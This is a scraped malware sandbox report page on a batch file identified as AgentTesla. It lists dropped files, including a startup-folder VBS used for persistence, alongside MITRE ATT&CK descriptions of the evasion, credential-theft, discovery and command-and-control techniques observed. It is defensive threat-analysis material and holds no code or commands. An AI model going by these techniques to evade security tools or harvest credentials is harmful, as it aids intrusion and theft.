Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PRODUCT-PICTURE.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_20dcboky.n3d.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_plekoa5h.rnl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pqq0ou04.peg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vnmg44pq.waz.psm1

C:\Users\user\AppData\Roaming\IV.bat

C:\Users\user\AppData\Roaming\IV.bat.Usq

C:\Users\user\AppData\Roaming\IV.bat:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs

C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

Static File Info

Windows Analysis Report
PRODUCT-PICTURE.bat

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre